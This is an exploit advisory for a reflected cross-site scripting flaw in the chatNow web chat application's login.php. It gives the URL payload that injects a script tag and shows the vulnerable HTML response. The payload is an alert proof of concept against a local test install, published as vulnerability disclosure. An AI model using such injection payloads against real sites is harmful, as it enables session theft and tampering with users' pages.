chatNow 0.0.0 Cross Site Scripting

`# Exploit Title: chatNow - Reflected XSS  
# Date: 2016-08-23  
# Exploit Author: HaHwul  
# Exploit Author Blog: www.hahwul.com  
# Vendor Homepage: http://chatnow.thiagosf.net/  
# Software Link: https://github.com/thiagosf/chatNow/archive/master.zip  
# Version: Latest commit  
# Tested on: Debian [wheezy]  
  
### Vulnerability  
This page url is reflected data on page  
It is vulnerable page because not filtered reflected url  
  
### Attack code  
http://127.0.0.1/vul_test/chatNow/login.php/95fb4"><script>alert(45)</script>b5ca1  
  
### Response  
<div id="box_login">  
<h2>chatNow</h2>  
<form action="/vul_test/chatNow/login.php/95fb4"><script>alert(45)</script>b5ca1" method="post">  
<div class="block_field">  
<label for="user">Nick</label>  
<input type="text" name="user" id="user" maxlength="20" />   
</div>  
`